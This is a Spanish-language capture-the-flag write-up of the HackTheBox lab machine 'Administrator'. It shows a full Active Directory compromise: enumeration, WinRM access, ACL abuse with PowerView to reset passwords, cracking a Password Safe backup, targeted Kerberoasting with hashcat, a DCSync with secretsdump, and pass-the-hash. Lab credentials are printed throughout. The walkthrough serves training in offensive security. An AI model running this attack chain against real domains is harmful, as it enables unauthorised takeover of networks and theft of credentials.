Administrator (Medium)
root@SynAckLabs:~# ./show_index.sh
Resumen
Esta máquina es una muy buena introducción a Active Directory si no lo has tocado nunca. El flujo es bastante directo: con unas credenciales iniciales entramos por WinRM, enumeramos el dominio con RustHound/BloodHound, abusamos de ACLs (GenericAll / ForceChangePassword) para pivotar entre usuarios, recuperamos credenciales desde un backup en FTP y terminamos con una cadena clásica hacia DCSync para obtener el hash de Administrator.
Aunque en HTB aparece como Medium, no me parece una máquina complicada. La dificultad real está en entender el camino de AD y qué significa cada permiso, más que en la explotación en sí.

Enumeración
Arrancamos con un escaneo de puertos que ya nos da una pista clara: es un DC (Kerberos, LDAP, SMB, WinRM, etc.).
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 127 Microsoft ftpd
53/tcp open domain syn-ack ttl 127 Simple DNS Plus
88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP
445/tcp open microsoft-ds? syn-ack ttl 127
464/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP
3269/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing
47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0
...
Service Info: Host: DC; OS: Windows
SMB (445)
Con las credenciales proporcionadas podemos autenticarnos, pero la enumeración inicial no muestra nada especialmente útil.
nxc smb 10.129.75.64 -u Olivia -p 'ichliebedich' --shares
...
Share Permissions Remark
ADMIN$
C$
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server share
nxc smb 10.129.75.64 -u Olivia -p 'ichliebedich' --users
...
olivia
michael
benjamin
emily
ethan
alexander
emma
Acceso inicial por WinRM
El siguiente paso lógico es probar WinRM, y efectivamente con Olivia podemos entrar.
nxc winrm 10.129.75.64 -u Olivia -p 'ichliebedich'
WINRM 10.129.75.64 5985 DC [+] administrator.htb\Olivia:ichliebedich (Pwn3d!)
Enumeración de AD con RustHound + BloodHound
Una vez dentro, enumeramos el dominio con RustHound-CE y luego lo analizamos con BloodHound.
rusthound-ce --domain administrator.htb -u olivia@administrator.htb -z
...
MachineAccountQuota: 10
... .//20260117114901_administrator-htb_
rusthound-ce.zip
created!
En el grafo vemos que Olivia tiene GenericAll sobre el usuario Michael. En la práctica, esto nos permite forzar el cambio de contraseña del usuario sin conocer la actual.
“The GenericAll permission grants OLIVIA@ADMINISTRATOR.HTB the ability to change the password of the user MICHAEL@ADMINISTRATOR.HTB without knowing their current password.”

Pivot 1: Olivia → Michael (ForceChangePassword)
Subimos PowerView.ps1 (por ejemplo, con upload desde evil-winrm) y cambiamos la contraseña de Michael usando las credenciales de Olivia.
$SecPassword = ConvertTo-SecureString 'ichliebedich' -AsPlainText -Force
$Cred = New-Object
System.Management
.Automation.PSCredential('ADMINISTRATOR\\olivia', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity michael -AccountPassword $UserPassword -Credential $Cred
Con esto ya tenemos acceso como michael.

Pivot 2: Michael → Benjamin
Siguiendo el camino del grafo, repetimos la misma idea: Michael puede forzar el cambio de password de Benjamin.

FTP: recuperamos un backup de credenciales
Con Benjamin vemos algo nuevo: acceso a FTP, donde encontramos un archivo de backup.

ftp> dir
...
10-05-24 08:13AM 952 Backup.psafe3
El archivo es una base de datos de Password Safe V3.
file Backup.psafe3
Backup.psafe3: Password Safe V3 database
Extraemos el hash y lo crackeamos.


Abrimos el gestor y obtenemos 3 credenciales:


alexander:UrkIbagoxMyUGw0aPlj9B0AXSea4Sw
emily:UXLCI5iETUsIBoFVTj8yQFKoHjXmb
emma:WwANQWnmJnGV07WQN8bMS7FMAbjNur
Camino a Domain Admin
En BloodHound, mirando el Shortest Path to Domain Admin, vemos una ruta clara:
- Emily tiene GenericWrite sobre Ethan.
- Si comprometemos Ethan, podemos hacer DCSync para dumpear los hashes del dominio.

Intento: Shadow Credentials (no soportado)
Probamos Shadow Credentials, pero el KDC no soporta autenticación con certificados y falla con:
minikerberos.protocol.errors.KerberosError: Error Name: KDC_ERR_PADATA_TYPE_NOSUPP
Alternativa: Kerberoasting dirigido
Sin Shadow Credentials, seguimos por Kerberoasting. Primero sincronizamos la hora para evitar problemas con Kerberos.
sudo ntpdate -u 10.129.75.64 && python
targetedKerberoast.py
-v -d 'administrator.htb' -u 'emily' -p 'UXLCI5iETUsIBoFVTj8yQFKoHjXmb'
Crackeamos el hash y obtenemos la password:
hashcat -m 13100 ethan.hash /usr/share/wordlists/seclists/rockyou.txt --> limpbizkit
DCSync y escalada final
Con Ethan hacemos DCSync para obtener los hashes del dominio.
impacket-secretsdump -outputfile administrator_hashes -just-dc administrator/ethan@10.129.75.64

Finalmente hacemos PtH con el hash de Administrator y quedamos pwned.
